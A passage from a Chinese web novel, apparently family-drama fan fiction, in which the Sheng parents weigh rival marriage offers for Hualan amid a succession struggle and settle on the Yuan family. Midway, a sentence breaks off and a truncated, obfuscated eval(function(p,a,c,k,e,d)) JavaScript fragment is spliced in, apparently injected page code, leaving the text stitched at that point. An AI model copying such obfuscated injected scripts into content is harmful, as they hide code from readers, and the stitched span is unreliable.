盛华兰看了一眼桌上的糕点,随即目光转向翠蝉身上,好似在等翠蝉给她解惑般,而翠蝉也心领神会的微微一笑,道:“府中的吃食虽好,但架不住外面的吃食品种多且味道与府中不同,二姑娘对吃这一块向来是精巧些的,这盈果铺子是汴州城有名的糕点铺子,二姑娘时常派人去买那里的糕点,只不过老太太想着二姑娘年纪还小,食不得那么多糕点,便给二姑娘规定每日糕点不能超过五块,可盈果铺子的糕点都是按碟卖的,二姑娘又想每种都尝一下,因而每次买回来的糕点都要分好送些给国公爷和老太太,如今姑娘来了,二姑娘自是不会少了你那份的。” 盛华兰了然的微微点了点头,语气柔和,道:“这些吃食如此精致,想必明兰妹妹是费了些心思的,待我改日见到明兰妹妹时定要谢谢她。” 翠蝉也知道自己是半道插入的,瞧着盛华兰已无事,便提出了告退,待盛华兰同意后,便退了下去。 彩簪瞧着翠蝉已经消失后,才在盛华兰身边小声嘟喃道:“这国公府真是气派啊!不过就是规矩有些多,这女使小厮还要考核什么呢。” 盛华兰撇了一眼彩簪,语气平淡,道:“无规矩不成方圆,这是天子脚下的汴州城,二伯父又是本朝最年轻的国公爷,盛家进入勋贵的圈子也不过十几年,若是府中规矩不严些岂不让人笑话,再说了,虽说府里对女使小厮的规矩严了些,但这月钱也比外面丰厚不少,更何况府中后宅没有什么勾心斗角的事情,老老实实按规矩做事情,在府中待够时间若是想离开也攒够一笔不小的银钱伴身了。” 彩簪听着盛华兰的话,也知道自己的话引得盛华兰不悦了,随即轻声道:“姑娘,奴婢一时想岔了,多谢姑娘提点。” 盛华兰闻言,不再说什么,只是拿着桌上的糕点尝了起来,心道:“翠蝉说的不错,明兰妹妹选的糕点味道着实是不错啊!” 过了好一会儿,彩莲提着一个食盒走进来,她瞧着桌上的糕点,一脸惊讶的看着盛华兰,道:“姑娘,你这是哪来的糕点啊!我这才从厨房拿糕点过来呢。” 盛华兰简略的给彩莲讲了一下翠蝉来时的事情,只见彩莲脸上带着些许苦闷,道:“还要考核啊!这要考什么啊!” 彩莲只是抱怨了一下,随即转换心情,脸上带着些许笑意,道:“姑娘,我从厨娘那里打听到这府里的待遇是真不错,我若是能考到二等女使,一年月钱就有三十一两,可惜这府中的人嘴十分严实,关于主家的重要事情是一个字都不肯说。” 盛华兰吃了一会儿糕点,用手帕擦了擦手,神情没有丝毫变化,语气平淡道:“这不好嘛,他们嘴若不严实,这府里的事情不就全被外人知道了嘛,这样我们盛家在汴州城就是个笑话了,无需太过刻意去打听什么,我们也是盛家的人,日子久了,有些事情也都能知道的。” 盛华兰说到这里,瞧着彩莲还提着那个食盒,不禁莞尔一笑,道:“彩莲你提着个食盒这么久不累嘛,我现下也吃的差不多了,这些个糕点你们就拿去给院里的女使们分一分吧。” 彩莲闻言,点了点头,回道:“是,姑娘。”随即便拎着个食盒和彩簪一同将桌上剩余的糕点也放入食盒内,拿出去与院里的丫鬟们一同分了。 等到了下午,翠蝉便领着珠翠楼和绣岳坊的掌柜们拿着许多东西到盛华兰的院中,待盛华兰挑完后,又将人带离了院子。 68.第 68 章 时间转瞬即逝,一眨眼盛华兰就在汴州城待了将近一年的时间,这些日子里盛华兰不仅和盛明兰这些个孩子熟悉起来,也和顾廷烟和白滢婷有了些交集,当初她刚到汴州城不久,白滢婷便带着顾廷烟上门来拜访盛老太太,顺带和她见上一面给个见面礼,不过,她能感觉出来白滢婷和顾廷烟对她远没有待盛明兰那般亲近,当然,这也是人之常情,毕竟白滢婷和顾廷烟是认的盛老太太和盛瑾为干亲,她们这一房只是捎带上的,关系都是处出来的,如今这般不近不远已经是极好的了。 近几日,顾廷烟那边传来怀有身孕的消息,盛明兰便拉着盛华兰一起参谋着给顾廷烟肚中的孩子选礼物的事情。 盛华兰瞧着已经开始渐渐长开的盛明兰,想着盛瑾书房里的画像,不禁感慨道:“这明兰妹妹的容貌长开后,怕是和去世的二婶婶有七八分像吧。” 盛华兰本来以为盛明兰只是小时候与盛长轩相似,长大后不一定会和慕卿云相似,可近段时间中来拜访盛老太太的几位夫人,她们都见过慕卿云本人,待瞧见盛明兰时都忍不住说一句“这盛老夫人的小孙女是越大越像逝世的国公夫人。”当然,没人会蠢到说好似盛国公夫妇亲生的这般子惹人厌的话。 盛华兰瞧着指挥丫鬟将库房中的东西翻出来细细查看、寻找适合礼物的盛明兰,嘴角微微弯起,心道:“这明兰妹妹在外面还端着个架子唬人,一回到府中活像个五六岁的孩童般活跃。” 盛明兰挑了好一会儿都不如意,她抬头瞧见盛华兰一言不发的样子,随即上前搂着盛华兰的手臂,撒娇道:“我的好姐姐,我都在这里挑了好一会儿了,你怎么一点忙都不帮呢?” 盛华兰刮了一下盛明兰的鼻子,语气中满是笑意,道:“我怎么不帮你了,我不是给你提了意见嘛,让你派人去珠翠楼打一副大金锁,这无论廷烟姐姐生的是男,还是女都能送。” 盛明兰脸上带着些许不情愿,嘟喃道:“那何家好歹也算得上是清流人家,大金锁会不会有点俗气啊!” 盛华兰有些哭笑不得,语气中带着些许笑意,道:“我的明兰妹妹啊!清流人家又不是把书读迂腐的老童生,怎么会嫌弃金子呢。” 盛明兰闻言,脸上浮现出一抹讪笑,随即灵机一动,道:“华兰姐姐,你说我拿块玉料找玉匠雕刻成玉锁,外面在配个金项圈,这样怎么样呢?” 盛华兰脸上浮现一抹笑意,语气中带着些许打趣的意味,道:“这些东西的重量可不是一个刚出生的孩子能戴的,不过,你可以等小外甥或是小外甥女办满月宴时再送,待小外甥或小外甥女长大后就能戴你送的玉锁了,如今廷烟姐姐的孩子还在肚子里呢,你未必操心太早了些,更何况白姑母和祖母早已送了一些东西给廷烟姐姐。” 盛明兰眼神中带着些许兴奋,语气有些激动,道:“华兰姐姐,我这不是开心嘛,这可是我第一次当长辈啊!” 盛明兰说到这里,笑眯眯的看着盛华兰,语气中满是打趣的意味,道:“也不知道华兰姐姐的未来夫婿在哪里,真希望华兰姐姐能早点给我生个小外甥或外甥女啊!” 盛华兰闻言,脸上浮现一抹羞红,随即抬起双手,扯了扯盛明兰脸蛋的两边,道:“盛明兰,你胆子大了,居然敢打趣我。”而盛明兰连连求饶,过了好一会儿,盛华兰才放过盛明兰,不过,此时远在扬州城的盛家,盛纮和王若弗正在决定盛华兰的夫婿人选。 盛纮看似是与王若弗经过一段时间的商议,最终决定在令国公府第五个孙子和忠勤伯府的嫡次子之中选一个,实在他早已属意忠勤伯爵府袁家,不过是不好越过王若弗直接决定,才通过暗示引导王若弗排除其他人家而剩下这两个选择,其实若是盛家没有出了盛瑾这个人物,这两门亲事对于盛华兰而言都算是高攀,可如今情况不一样了,盛华兰有了国公爷侄女和一品诰命夫人孙女这两个名头,这两门亲事便算不得高攀什么,可惜还没有等盛纮夫妇商量出个结果时,任开封府尹的邱敬便让自家大娘子来盛家暗示想要两家结为姻亲,除此之外,光禄大夫吕华的大娘子也来盛家,话里话外都在暗示自己想为儿子求娶盛华兰。 盛纮看着桌上这两张大红洋金的帖子,微微皱眉,心中不由的多想了些事情,道:“这莫不是两个王爷的博弈呢。” 盛纮看了一眼身旁王若弗,只见她头上龙凤金簪的流苏不住抖动,任谁也能看出她内心的喜悦,他心里不由得叹了口气,缓缓开口道:“本来华儿及笄才一年多,不急着选夫婿的,但是这邱大人和吕大人一同提亲,我们却不得不快了,不然给不了两家说法。” 王若弗脸上带着些许不满的表情,语气中满是不在乎的意味,道:“就不能在这两家里选一个嘛,我看这两家比之前我们选择的那两家好多了。” 盛纮手握着一把黄杨木骨的折扇,不停的拍着另一只手,在屋里走来走去,喃喃道:“邱兄是我的同年,我们两家原也知根知底,本来结成这桩婚事也无不可,可是……”。 盛纮戛然而止的话语,让王若弗心下一紧,可是她又不明所以,便语气急促,道 “可是什么,官人你快说呀,急死个人了。” 盛纮随即坐到王若弗的对面,端起桌上的茶杯,浅啜一口,道:“那邱二公子和吕公子我都是见过的,模样品行都配得上华儿,邱家也算是王公府邸,与我们家如今也算得上是门当户对,只是邱家虽然富贵,终究门庭深锁,华儿又心高气傲,真嫁入了那地方也未必能如意,至于吕家,正因为吕家和邱家同时求娶华儿,我才担心其中另有原因。” 王若弗本来听到华兰嫁入公侯之家的难处时,心里便有了一丝不乐意,如今听到盛纮说其中另有原因,随即便执起手中的团扇给盛纮轻轻打扇,语气焦急的询问道:“官人,你快给我说说,这里头有什么原因呢?” 盛纮缓缓的凑到王若弗身边,低声道:“如今陛下没有子嗣,便打算在血缘相近的皇室宗亲中选择最年长最尊贵的男丁过继,这三王爷和四王爷正是热门的人选,陛下之所以迟迟没有立太子,不过是因为三王爷身子孱弱,且年过四旬尚无子息,而有子嗣的四王爷却偏偏晚了半天出生,如今陛下身子尚且硬朗,这还算好的,将来万一有个山陵崩,那些王爷身边的近臣怕是有事。” 王若弗本就对朝堂之事一窍不通,语气中满是不以为然的意味,道:“这与华儿的婚事有何干系嘛,那邱大人可是个外官呀。” 盛纮揉了揉额头,语气中带着些许无奈的意味,道:“可邱大人的长兄却是三王爷的讲经师傅,而吕大人的另一个媳妇与四王妃是堂兄妹,我担心这是三王爷和四王爷的博弈,毕竟二哥哥是个有能耐的,且深得陛下恩宠,轩哥儿又远在边境手握兵权,我们盛家在汴州城的份量不低,再者,你莫忘了华儿可是在母亲膝下长大的。” 盛纮此时虽然很想和王若弗推心置腹,但奈何王若弗的思想总和他不同步,只能直接与她讲明利弊。 王若弗不由得大惊失色,语气中带着一丝惊恐,道:“官人,不能将华儿许给这两家啊!华儿可是我们头生的孩子,不能让他们当筹码糟蹋了,再说,无论陛下是不是要立三王爷为太子,只要三王爷生不出儿子来,将来这皇位也得给人家呀!我听说那四王爷可不是个吃素的,他能甘心尽在眼底的皇位被抢走嘛。” 盛纮看着王若弗总算是上道了,微微点了点头,随即又叹了口气,道:“我本不应该如此想邱兄的,可这储位之争不是什么小事,如今他和吕大人一同提亲,我就不得不多想了,唉,我也曾多次劝过邱兄,像我等这样的外官暗暗结交些京官内臣就算了,万不能牵扯进立储大事中去,汴州城里那么多公侯伯府,个个都门儿精,可曾见过有几个掺和进去的,当初先帝爷即位时夺了好几个爵位,撤了不知多少一二品的官员,更何况我等这样的外官呢,但邱兄就是听不进去,一意孤行的和他长兄一般加倍亲近三王爷。” 盛纮目光再次放在王若弗身上,轻声细语,道:“我也知道三王爷在汴州城素有贤名,人人都说三王爷宅心仁厚,明德贤孝,可是,可是……” “可是他没有儿子!”王若弗及时给盛纮补上,随即继续道:“没有儿子,三王爷再贤德也没用,邱大人也太糊涂了,储位之争岂是闹着好玩的,我瞧着没准是四王爷上位呢。” “那也不一定。”盛纮突然杀了个回马枪,语气平淡,道:“邱兄以及三王爷身边一干僚臣也不全糊涂,他们知道三王爷若非子嗣问题,早就立了储了,于是他们就想出了一个点子。” 王若弗被盛纮的话勾起了心底的好奇,两眼放光,语气中带着些许急促,道:“官人,什么点子?” 盛纮愈发压低声音,道:“这也不是什么秘密,他们撺掇了几个官员在外头鼓吹着,要效仿先朝故事,就是说,如果三王爷即了位后却始终没有儿子,就让他从兄弟那过继个儿子过来,陛下可不止三王爷和四王爷这两个侄子啊!那宗室里的王爷可不少,他们不都有儿子吗,反正论起来都是陛下的孙子,再说了,陛下如今不也打算过继子嗣嘛。” 王若弗面带微笑的拍了拍手,语气中带着一丝笑意,道:“这倒是好主意,可……这能成吗?四王爷能答应?” “谁说不是?如今鼓吹过继一事的几个官员早已成了四王爷的眼中钉肉中刺,不怕一万就怕万一,倘若将来是四王爷即位,那邱家……”盛纮没说下去,但王若弗也全明白了。 盛纮喟叹道:“这就是个赌注,赌赢了,邱家鸡犬升天,赌输了,邱家一败涂地,可何必要赌呢,邱家现已是富贵双全的了。” 王若弗音量提高,道: “官人,无论是邱家的婚事,还是吕家的婚事,我们都不能答应,他邱家吕家愿意赌,我们可不能拿华儿来赌,要是弄个不好,我们盛家都可能被他们牵连。” 王若弗的思路突然清晰起来了,她从腰下又拿出一条汗巾细细擦拭着额头的汗水,继续道:“我们家如今也是有爵位的人家,二哥哥本就是国公爷,身上又挂了个少师的虚职和从二品工部尚书,可见陛下对二哥哥的恩宠深重,再加上二哥哥本身就有盛世之功,无论是哪位王爷登基都撼动不了二哥哥的位子,所以这从龙之功只是一点锦上添花,对我们而言,没有必要。” 王若弗此时此刻深深体会到盛瑾的作用,只要盛纮和她有合适的理由拒绝这两门婚事,她相信三王爷和四王爷绝对不会为了一门没订下来的婚事找盛瑾的麻烦,这样无疑是给他们登基路上添堵。 盛纮一脸震惊的看着王若弗,一时之间有些呆愣,心里不由得暗叹道:“我这大娘子怎么突然智商上线了。” 王若弗可不知道盛纮心里的想法,只见她脸上带着些许不死心的表情,继续询问道:“官人,你素日在官场上为人厚道,常与人交好,如今就没一个可以结亲的?” 盛纮看了一眼王若弗,语气中带着些许调笑的意味,道:“这不是没有嘛,你忘了那日你是如何对我说挑女婿的规格了嘛,要门第好,家底厚,人口简单,公婆妯娌好侍弄,最最要紧的是人家后生要有能耐,要么读书有功名,要么会办事的有产业,要么有武功和爵位。” 盛纮说到这里,叹了口气,继续道:“唉——,我素日结交的大多都是读书人,与我同年同科高中的人,大多数的官位要么比我低,要么与我差不多,而官位比我高的人中少部分家底单薄,剩下的那部分多是大家世族出身,这样人家的孩子,早就被族中长辈定好了,哪轮得到你挑啊!这大理寺的柳兄倒是合适,可他家嫡子还小,将来倒可以给如儿说道说道。” 王若弗神色有些尴尬,讪讪的笑着转移话题,道:“官人也不必忧心,这不,我们之前不是选了两家嘛,我瞧着这两家中的令国公府就很好,他们家虽是降等袭爵,但从太祖爷封爵至今不过才第三代,另一家的忠勤伯府倒是原等袭爵,可他们家如今的光景不好,早被陛下厌弃了,还是不要的好,官人,要不我们就选令国公府吧,赫赫扬扬,家世鼎沸,又风光又旺盛,华儿嫁入这样的人家也气派。” 盛纮慢条斯理的打开折扇,慢慢摇着扇子,缓缓道:“我看未必啊!我幼时曾随母亲在汴州城住着,与维大哥在那令国公府的家塾只读了半年的书,那家人我很是瞧不上,外边看起来光鲜,内里却污秽不堪,那家家塾也腌臜的很,上次我回汴州城办事时,听闻令国公府愈加不堪了,家里人口众多,俱都安富尊荣,几个哥儿看起来和柏哥儿一般大,屋里竟有二十多个女使伺候着,如此穷奢极欲,大的小的全都挥霍无度,铺张奢靡,这出的多进的少,内囊恐怕早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盛纮一开始就中意袁家,如今见王若弗提到点上,便开始热切推销起袁家,道:“话不是这么说的,我曾无意中见过这位袁伯爷,瞧着为人颇为公道明理,他家嫡长子早已娶了国子监祭酒章大人家的嫡女为妻,也就是袁伯夫人的侄女,我为华儿瞧中的是他家嫡次子袁文绍,那袁文绍看上去沉稳识礼,威风凛凛,最重要的是他年纪轻轻便为自己在五城兵马指挥司谋了个差事,况且我也找过窦指挥使了解了他,窦老西你也知道,素来狂傲,可他将那袁文绍结结实实夸了一顿,说他的人品才具皆为上佳,还叹气说,那少年郎因被家世连累,一般的官宦世家都不肯与他家结亲,差些的人家又瞧不上眼,好端端的一个后生拖到快二十了还没成家,大约是我在窦老西面前显了意,这不,袁家就托了人来说亲了。” 王若弗看盛纮如此热情的推销袁文绍,不知道的还以为袁文绍是他亲子呢!她犹自绷着脸,心里十分不乐意,道:“官人,你也说了,一般的官宦世家都不与他们结亲,他们如今是要钱没钱要势没势,我们干嘛上赶着去!再说了,二哥哥深受陛下恩宠,我们与袁家结亲,会不会影响二哥哥在陛下那里的恩宠呢。” 王若弗见盛纮大意是选袁家了,可心里还是想要挣扎一下,扯出盛瑾这张大旗,企图让盛纮收回此意。 盛纮皱了下眉头,语气中带着一丝叹息,道:“他家也是倒霉,先帝爷在位时,不慎卷入伊王谋逆案中,连同几个世家一起被夺了爵,等到陛下即位后,大赦天下时,翻查了旧案才发现有几家确实是被牵连的,因而遂起复了四五家,他家就在其内,但还是被斥责处事不谨、行止不端,褫夺了十年的银米俸禄,冷落起来,这足以说明陛下并不在意袁家的事情,而且以二哥哥如今的恩宠和权势,与袁家结亲才不显嘛,再说了,若不是人家现在有难处,也轮不上我们华儿,毕竟盛家如今的地位全来自二哥哥一人,华儿也只是国公爷的侄女,这样也才刚刚好相配啊!” 王若弗沉默不语,转过头去,扁着嘴,略带委屈道:“官人说的头头是道,不就是想和他家结亲嘛,那之前还让我选什么,官人自己直接做主得了。” 盛纮走过去扶住王若弗的肩膀,细声道:“华儿是我们头生的女儿,我如何会委屈了她,我还记得华儿刚出世那会儿,我只是一个被指派到苦寒之地的小小候补知事,那时我们连个像样的奶妈子都找不到,我一边读书一边当差,你呢,又要管家又要服侍我和母亲,华儿那时乖的让人心疼,从不哭闹惹事,稍大一点了,还能帮你理事,说句诛心的话,这许多子女里,我最疼者就是华儿。” 盛纮的这番话是真情实意的,不过,盛华兰的婚事对盛家其他几个儿女起着不可缺失的作用,所以他尽可能在盛家利益之上为盛华兰寻到好的婚事。 王若弗听得眼眶发红,盛纮搂过王若弗,声音中带着些许颤抖,道:“那时我便想着委屈了谁,也不能委屈了华儿,我不指着用华儿攀龙附凤,只希望她能嫁个有担当的夫婿,夫妻和睦,琴瑟和鸣,将来生儿育女,一生平顺。” 盛纮言语殷殷,一片慈父心肠,王若弗再也忍不住落下泪来,忙低头拭泪,盛纮又道:“这袁家因为遭过难,他家子孙便比一般的能干懂事,有过磨难的方知立业之难,我瞧着袁文绍很好,是个争气的,将来一样有荣华富贵等着华儿,再者,袁家再不好,终归有个爵位护着,若是仕途不顺,至少有个伯爵府可以依附,左右都是能护着华儿的。” 王若弗被盛纮说动了,她用手绢角拭泪,语气中带着些许娇嗔的意味,道:“呸,一个潦倒货也被官人你说的跟朵花似的,我知道官人见事比我明白,我也愿意相信官人,但我还是想先去打听打听那袁文绍的品性如何,这都二十岁了,也不知他房里有几个人,要是有那淘气跋扈的通房,我可不同意,到时候官人可别怪我捅到二哥哥和母亲那里,我的华儿可不是嫁过去受罪的。” 盛纮见王若弗点头了,当下便亲热的搂过王若弗,语气中满是宠溺的意味,道:“好好好,都依着大娘子来办,大娘子可得好好查查那小子,如果他要是个贪花好色之徒,不用大娘子去找二哥哥和母亲,这桩婚事我第一个不答应,我们定要细细思量,给华儿找个顶顶好的女婿才是。” 王若弗见盛纮这么说,心里也满意了些,随即又与盛纮说了好一会儿的话后,盛纮方才起身离开了屋内,独留王若弗在屋里思考许久。 69.第 69 章 时间飞逝,远在扬州城的王若弗已经托人打听完袁文绍的事情,她起初是有点想让盛老太太帮忙打听,可转念一想,自家姐姐就居住在汴州城,与其麻烦盛老太太,还不如托自己姐姐打听一下呢,从这件事情中可以看出王若弗并不想让盛老太太插手盛华兰的婚事。 等王若弗在了解完袁文绍的大致情况后,便依着盛纮的意思同意了袁家这门亲事,而盛纮则是派人送了两封信到汴州城,一封是给袁家的,另一封是给盛瑾和盛老太太的。 盛纮给袁家那封信的内容是商议着先将盛华兰与袁文绍的婚事定下来,待盛华兰十八岁后再成婚,另一封信则是告知盛老太太和盛瑾有关盛华兰的婚事已定下的事情。 汴州城忠勤伯爵府里,袁伯爷收到盛纮的信件后,便与他的大娘子大章氏商讨着这桩婚事,只见大章氏的脸色从最开始的惊讶转变为愤怒,她语气中满是责备和嫌弃,道:“官人,我不同意这门亲事,且不说这门亲事是你在没和我商讨下派人去谈的,就说我们堂堂一个伯爵府,再怎么样,也不能上赶着娶一个小小六品通判的嫡长女,这门亲事简直是太丢人了,我绝不会同意的。” 袁文纯夫妇和袁文绍站在一旁看着大章氏发怒,谁也不敢说什么,一边是母亲,一边是父亲,帮谁都有违孝道。 袁伯爷冷眼看着大章氏,语气平淡,道:“我定下的亲事,可由不得你不同意,我才是这个家的主君,无论是绍哥儿,还是缨姐儿的婚事,我都能插手。” 袁伯爷起初是不想插手袁文绍的婚事,可他心里又不愿意再找一个章家姑娘做媳妇,毕竟这个府中有两个姓章的女子就够闹腾的,好在章家如今没有和袁文绍年龄相配的姑娘,不过,大章氏向来偏心大儿子袁文纯,再加上袁文纯的大娘子是大章氏的娘家侄女,因而袁文绍在大章氏心中的地位也越发比不过袁文纯了,当然,他也知道除去大章氏偏心的原因外,袁家门庭冷落,官宦世家大多不愿结亲是事实,还有袁家复爵不易,不能再卷入储位之争,思虑过多也是事实。 袁伯爷看了一眼身姿挺拔的袁文绍,又瞥了一眼站在一旁的袁文纯夫妇,心里顿感无力,他知道袁文纯夫妇因着大章氏的偏心,多少有些瞧不起袁文绍,可若是他插手这件事情必定会破坏府中如今的平衡状态,只能装作一无所知的样子,不过,他心中也因此对袁文绍有了些许心疼,便想要给袁文绍找一个教养好、管家一把手的大娘子,等到分府后,袁文绍夫妇在一起好好的把日子过起来。 袁伯爷不敢和高门大户结亲怕卷入储位之争,又瞧不起汴州城小门小户人家,怕门户不匹配,再找个泼辣的媳妇,把府里搅个天翻地覆,这挑来挑去就没有他中意的人选,好在袁文绍平时待人处事都不错,窦指挥使上次和盛纮聊天中看出盛纮对袁文绍有些意思,又联想到了盛华兰的婚事上,便找了个时间和他提了一嘴,他原先是有些喜出望外,毕竟汴州城谁不知道盛瑾啊!再加上盛华兰是在勇毅侯府独女盛老太太身边长大的,那教养定是不差的,他若能得盛华兰当媳妇也是不错的选择。 袁伯爷本来是打算在盛华兰及笄后不久上门提亲的,可是谁曾想盛纮居然将盛华兰送来了汴州城,这让他一时拿不定注意,毕竟盛纮这个行为颇有让盛华兰嫁入高门大户的想法,不过,他想着如今也找不到比盛华兰更好的媳妇人选后,便死马当活马医的找人去扬州城盛家说亲,谁曾想峰回路转,盛纮居然回信表示同意这门亲事,只是想将姑娘留到十八再出嫁,这他自是无不可的啊!此时他在心里暗道:“这着实是门好亲事啊!决不能让她(大章氏)搅黄了。” 袁伯爷不理会大章氏,转头看向袁文绍,拍了拍他的肩膀,语气柔和,道:“绍儿啊!你是不是也觉得为父给你定的这门婚事门不当户不对啊!” 袁文绍眼中闪过一丝不满,神情恢复原样,语气平淡,道:“自古婚姻之事由父母做主,儿子全凭父亲母亲做主,没有异议。” 袁伯爷虽没有多大的本事,但看人眼色的能力还是有的,他一眼就看出袁文绍对这桩婚事不满,以及一旁袁文纯夫妇眼中的幸灾乐祸,为了袁文绍和盛华兰之间的夫妻关系,他决定给袁文绍讲讲这桩婚事的好处。 袁家因着曾被夺过爵而对汴州城消息更新速度有些缓慢,这导致了大章氏和袁文纯夫妇只知道盛瑾多了个勇毅侯府独女的亲生母亲,并没有联想到盛瑾和扬州城盛纮之间的关系,要不然,大章氏也不会对盛华兰的身份如此嫌弃。 袁伯爷将目光放在袁文绍身上,语气平淡,道:“我知道绍儿你对这桩婚事不满,可这对于你而言绝对是一门好亲事,你可知道丰国公府的盛国公先前认回了自己的亲生母亲,勇毅侯府独女出身的盛老夫人,而你未来的岳父正是这位盛老夫人扶养长大的庶子。” 一旁的袁文纯夫妇和袁文绍,以及一脸怒气的大章氏,此时的表情可以用目瞪口呆来形容,尤其是大章氏被这个消息给惊呆了,国公爷和六品通判的分量可不是一个级别,尤其是盛国公身上还挂着个少师的虚职和工部尚书的官职。 袁伯爷看着袁文绍满脸震惊的表情,继续道:“这个消息是千真万确,说起来你还要感谢窦指挥使,要不是他提起这位盛大人膝下有一即将及笄的女儿,我还想不到要去扬州城盛家说亲的事情呢。” 袁伯爷说到这里,摸了摸自己的胡须,语气中带着些许满意的意味,道:“盛老夫人是勇毅侯府独女出身,又是陛下亲封的一品诰命夫人,这盛大人的嫡长女是在盛老夫人膝下长大的,她与盛老夫人的情谊自是不用说的,也正因此原由,她的教养必定是不差的,当然,为父也找人打听过了,盛大人的嫡长女不仅教养好,管家理事更是一把好手,样貌也是极好的,她外祖父位列太庙,外祖母和祖母皆是诰命夫人,二伯父盛国公身兼少师和工部尚书两个职位,她父亲也在朝为官,你若是能得此大娘子,也不算辱没了你,你莫要因着她是国公爷半路认回的侄女,便对她有所轻视,单单是盛老夫人膝下养大这一条,汴州城就不知道有多少人家惦记着这个媳妇了,因而你定要与她好好相处,再者,盛国公爷可不是个软柿子。” 袁伯爷说完后,袁文纯差不多也回过神来了,他心里泛起一丝嫉妒,暗道:“我这二弟是走了什么好运,取个大娘子都能和盛国公搭上关系。” 袁文纯回过神来时,大章氏也差不多从震惊的情绪中缓过来了,她双目微微睁大,音量颇大,道:“我不同意,这门婚事我绝对不会同意的。” 大章氏在还未知道盛华兰是盛瑾的侄女时,还能以门不当户不对为由来拒绝这门亲事,如今知道了盛华兰是盛瑾的侄女后就更不可能同意了,她先前是瞧不起盛华兰的身份,现在是害怕拿捏不住盛华兰,本来她在心里也没有多疼袁文绍这个儿子,因而对袁文绍的婚事也没多着急,毕竟男子也有到三十多岁才娶妻的,就是名声上不好听些罢了,可这点子影响对于袁文绍一个武官来说是无关紧要的事情。 大章氏因着袁文纯是伯爵府未来的继承人才偏疼他,对于她而言,将伯爵府牢牢抓在手中才是最重要的事情,她之所以让袁文纯娶她娘家侄女,一是为了以后更好的帮衬娘家,二是她对自己娘家侄女的性子最是了解,娘家侄女也更为听她的话,说实在的,她之前之所以拒绝这门亲事不仅仅是嫌弃盛华兰身份低,更重要的是她不喜欢袁伯爷越过她决定袁文绍的亲事,这让她感觉到有些失控,更何况如今盛家的势力比袁家强,她是真的担心自己无法拿捏盛华兰,这种事情决不能出现在袁家。 大章氏这边不愿意,袁文纯的大娘子小章氏心里就更不愿意了,毕竟章家已经没有往日的辉煌,若是来个娘家得力的弟妹,她如何树立长嫂的威严啊!诚然盛华兰只是一个六品通判的嫡长女,但架不住她有个位列太庙的外祖父和有人脉的娘家,最重要的是她二伯父盛国公,不仅能力出众,还十分护短,满汴州城的勋贵世家谁不知道那盛国公是最护短的,把他惹恼了,他可不管你是谁家的孩子啊!这一点也是大章氏所担心的。 袁伯爷看着大章氏和小章氏,眼中闪过一丝冷笑,他自是知道她们的想法,可那又如何,这门婚事谁也不能破坏,满汴州城去哪找一个不参加储位之争的高门大户人家啊!再说了,自家的事自家知道,如今的忠勤伯爵府已经大不如前了。 袁伯爷神情柔和的看着袁文绍,语气中带着些许亲近的意味,道:“这门婚事就这么定下了,这已经是为父能为你找到的最好的婚事了,我们就冲着盛国公侄女婿的名头,以后你在五城兵马指挥司办事会容易很多的,待成婚后,你便好好和你大娘子过日子吧。” 袁文绍瞬间眼眶泛红,对着袁伯爷行了个礼,语气中带着一丝哽咽,道:“是,儿子会好好和未来大娘子过日子的,多谢父亲的筹谋。” 袁伯爷点了点头,而大章氏则是被袁伯爷的无视激起了心中的怒火,语气中充满了愤怒的意味,道:“我说了,我不同意,官人,你没听见嘛。” 袁伯爷看了眼怒火中烧的大章氏,语气平淡且暗含威胁,道:“大娘子,你不记得我母亲的话了嘛,这件事情由不得你做主。” 大章氏听到袁伯爷的话,犹如被人泼了盆冷水,瞬间安静了下来,呆在原地,什么话都说不出口了,而袁文绍他们三人也有些不知所措。 袁伯爷没有就这件事情说下去,语气平淡的告知大章氏,道:“过段时间,你与我一同去扬州城盛家下聘。”而后便挥挥手让他们都出去了,全然不在乎大章氏此时心里的想法,与此同时,同在汴州城的丰国公府内,盛老太太看完盛纮的信件后,待下午盛瑾回来,便告知了盛瑾这件事情。 盛瑾听完盛老太太的话,微微皱了下眉,语气淡然,道:“忠勤伯爵府袁家嫡次子袁文绍,我倒是听人提起过几次,他比起袁家嫡长子要出息的多,不过,这袁家复爵后被陛下褫夺了十年的银米俸禄,这内囊恐怕没有多少东西,华姐儿嫁过去怕是要受些委屈了。” 盛老太太脸上浮现出淡淡的微笑,语气中带着些许叹息,道:“瑾儿,这世上的事情哪有两全其美的事情,袁家再怎么不济,也有个爵位在,以后华儿夫妇若是遇上什么难处也有条退路可依。” 盛老太太说到这里时,语气中带着些许调笑的意味,道:“说起来我们盛家和他们袁家算得上是门当户对,华儿嫁过去也不算高攀他们袁家什么,况且你弟弟也说了那是个有出息的孩子,等将来分府后,两口子齐心协力自是有好日子过的,再者,你那弟妹是个心高气傲的,怎么可能将华儿低嫁,更何况华儿是你弟弟的嫡长女,她若是低嫁,她的妹妹们就不好找世家好的夫婿了。” 盛瑾知道盛老太太最后一句是在暗示自己不可插手盛华兰的亲事,盛老太太何其聪慧,她从王若弗待亲事定下后,方才告知她这件事情中就能看出王若弗不想让她插手盛华兰的婚事,因而她也不想自己的儿子去惹人嫌。 盛瑾自然知道盛老太太的好心,但他回忆起前世记忆中曾听过盛华兰婚后日子不好过的事情,脑海中浮现盛华兰每日乖乖巧巧和他问好的样子,忍不住提点了一下,道:“我曾听人提起过忠勤伯爵府的袁伯夫人偏心大儿子,不甚在意小儿子,这大媳妇又是袁伯夫人的娘家侄女,我担心华姐儿嫁过去,袁家上下就她一个外人,少不得要受些委屈。” 盛老太太看着盛瑾神情平淡,便知他只是提醒几句并未想要插手盛华兰的婚事,心里松了口气,语气平淡的述说道:“瑾儿,姑娘家给别家做媳妇大多都是要受些委屈的,大多数婆婆多多少少都会给新媳妇立些规矩,这些都是小事情,只要不是故意磋磨媳妇就还好,况且我们盛家比他们袁家好上不少,袁伯夫人也是大户人家出身,这些个道理还是明白的,她不会太过分的。” 